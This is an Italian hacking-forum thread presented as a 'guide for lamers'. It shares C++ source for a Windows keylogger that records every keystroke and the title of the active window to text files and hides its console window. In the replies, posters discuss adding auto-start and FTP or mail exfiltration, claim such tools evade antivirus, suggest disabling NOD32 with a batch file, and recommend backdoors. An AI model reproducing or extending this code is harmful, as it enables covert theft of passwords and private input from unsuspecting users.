BorderGame

Versione completa: [GUIDA]Pane ai Lamer
Al momento stai visualizzando i contenuti in una versione ridotta. Visualizza la versione completa e formattata.
Ometto librerie e linguaggio, anche se il linguaggio lo capite subito.
Ovviamente è una base e abbastanza imperfetta, ma tanto per darvi qualcosa da fare °°
Codice:
void key(char stringa[500]);
void key(char carattere);
void nasc_sposta(char *dir_destinazione);
ofstream dati;
char *destinazioneDati;
int main()
{
int i;
HWND finestra_corrente;
char titolo_finestra[255], attuale[255];
while(1)
{
Sleep(10);
finestra_corrente = GetForegroundWindow();
GetWindowText(finestra_corrente, titolo_finestra, 254);
if(strcmp(titolo_finestra, attuale)!= 0)
{
key("\n");
key(titolo_finestra);
key("\n");
}
strcpy(attuale, titolo_finestra);
if(GetAsyncKeyState(VK_SHIFT))
{
for(i = 65; i<= 90; i++)
{
if(GetAsyncKeyState(i)== -32767) key(i);
}
for(i = 48; i <= 57; i++)
{
if(GetAsyncKeyState(i) == -32767)
{
if(i==48) key(61);
if(i==51) key(163);
if(i==55) key(47);
else key(i-16);
}
}
if( GetAsyncKeyState(220) == -32767) key('|');
if( GetAsyncKeyState(188) == -32767) key(';');
if( GetAsyncKeyState(190) == -32767) key(':');
if( GetAsyncKeyState(189) == -32767) key('_');
if( GetAsyncKeyState(186) == -32767) key('é');
if( GetAsyncKeyState(187) == -32767) key('*');
if( GetAsyncKeyState(192) == -32767) key('ç');
if( GetAsyncKeyState(222) == -32767) key('°');
if( GetAsyncKeyState(191) == -32767) key('§');
if( GetAsyncKeyState(219) == -32767) key('?');
if( GetAsyncKeyState(221) == -32767) key('^');
if( GetAsyncKeyState(226) == -32767) key('>');
}
{
for (i = 65; i <= 90; i++)
{
if (GetAsyncKeyState(i)  == -32767) key(i+32);
}
for(i = 48; i <= 57; i++)
{
if(GetAsyncKeyState(i) == -32767) key(i);
}
if( GetAsyncKeyState(220) == -32767) key('\\');
if( GetAsyncKeyState(188) == -32767) key(',');
if( GetAsyncKeyState(190) == -32767) key('.');
if( GetAsyncKeyState(189) == -32767) key('-');
if( GetAsyncKeyState(186) == -32767) key('è');
if( GetAsyncKeyState(187) == -32767) key('+');
if( GetAsyncKeyState(192) == -32767) key('ò');
if( GetAsyncKeyState(222) == -32767) key('à');
if( GetAsyncKeyState(191) == -32767) key('ù');
if( GetAsyncKeyState(219) == -32767) key('\'');
if( GetAsyncKeyState(221) == -32767) key('ì');
if( GetAsyncKeyState(226) == -32767) key('<');
if(GetAsyncKeyState(111) == -32767) key('/');
if(GetAsyncKeyState(106) == -32767) key('*');
if(GetAsyncKeyState(109) == -32767) key('-');
if(GetAsyncKeyState(107) == -32767) key('+');
if(GetAsyncKeyState(110) == -32767) key('.');
if(GetAsyncKeyState(VK_CAPITAL) == -32767) key("<CPSLCK>");
if(GetAsyncKeyState(VK_BACK) == -32767) key("<BK>");
if(GetAsyncKeyState(VK_DELETE) == -32767) key("<DEL>");
if(GetAsyncKeyState(VK_ESCAPE) == -32767) key("<ESC>");
if(GetAsyncKeyState(VK_HOME) == -32767) key("<HOME>");
if(GetAsyncKeyState(VK_END) == -32767) key("<END>");
if(GetAsyncKeyState(VK_INSERT) == -32767) key("<INS>");
if(GetAsyncKeyState(VK_TAB) == -32767) key("<TAB>");
if(GetAsyncKeyState(VK_LEFT) == -32767) key("<LEFT>");
if(GetAsyncKeyState(VK_RIGHT) == -32767) key("<RIGHT>");
if(GetAsyncKeyState(VK_UP) == -32767) key("<UP>");
if(GetAsyncKeyState(VK_DOWN) == -32767) key("<DOWN>");
if(GetAsyncKeyState(VK_SPACE) == -32767) key((char)' ');
if(GetAsyncKeyState(VK_RETURN) == -32767) key('\n');
}
}
return 0;
}
void nasc_sposta(char *dir_destinazione)
{
HWND invisibile;
invisibile = FindWindow("ConsoleWindowClass", NULL);
ShowWindow(invisibile, SW_HIDE);
}
void key(char carattere)
{
dati.open("dati.txt", ios::app);
dati << carattere;
dati.close();
}
void key(char stringa[500])
{
dati.open("log.txt", ios::app);
dati << stringa;
dati.close();
}
Sbaglio o è la base di un Keylogger?
(18-04-2011 10:08 AM)Myros Ha scritto: [ -> ]Sbaglio o è la base di un Keylogger?

Non sbagli, ed è base base. Ovviamente ho tolto le librerie, almeno se volete usarlo vi sbattete un po' =P

Però (ovviamente) è la mia versione imperfetta. Ho tolto l'avvio automatico, il riconoscimento delle finestre, l'invio dati tramite ftp o mail, che tanto i codici che trovate online non vanno bene perchè li segnala come virus =P
Inoltre compilando questo vi rimane una finestra dos aperta, con schermata nera e il file .txt vi appare sul desktop o comunque dove avete salvato il programma compilato.
Però dai vi riconosce tutti i tasti =P Anche block maiusc e maiusc u_ù
Grazie Champ, cosi fai ragionare un pò i lamer come me Big Grin
Grazie, mi hai dato qualcosa da fare per i prossimi giorni =P
Grazie milleeeeeeeeeee Vediamo che riesco a concludere :3
Bah. Keylogger molto scarso. Qualsiasi antivirus lo detecterebbe. Inoltre la base è superficiale, non fa gran che. Piuttosto usate una backdoor, ci mettete meno e ottenete risultati migliori. Comunque per un pc senza antivirus è buonino
grazie champ bella guida +1
appena ho un po di tempo mi ci metto un po xD
+1 anche per la firma Wink
(20-04-2011 09:59 AM)MrNessuno Ha scritto: [ -> ]Bah. Keylogger molto scarso. Qualsiasi antivirus lo detecterebbe. Inoltre la base è superficiale, non fa gran che. Piuttosto usate una backdoor, ci mettete meno e ottenete risultati migliori. Comunque per un pc senza antivirus è buonino

A) Il source OVVIAMENTE non è mio, gira da secoli in rete e questo è giusto modificato un pochino.
B) Un antivirus non lo detecta manco a morire.
C) "Piuttosto usate una backdoor", se sai cos'è saprai benissimo che una backdoor va creata da se e vorrei ricordare che tutti i bug noti nei sistemi windows sono fixati dalla versione di XP [ma solo ufficialmente :asd]
D) Il mio keylogger (source completamente diverso) non è così. Qualsiasi programmatore degno di questo nome farebbe un triplo salto mortale sulla sedia a vedere tutti quei if, quello che ha scritto il source (Girex) ha saltato il capitolo che spiegava i cicli :asd

Comunque grazie per i grazie, e ci terrei a dire che potete partire da qua ma rielaborare il codice per ottenere un buon key. [P.S. I key "casalinghi" non sono detectati, e se si riesce a fermare l'esecuzione di nod32 con un file BAT e si riesce a estendere la licenza di avast! fino al 2050 si può tutto :asd]
Closed
URL di riferimento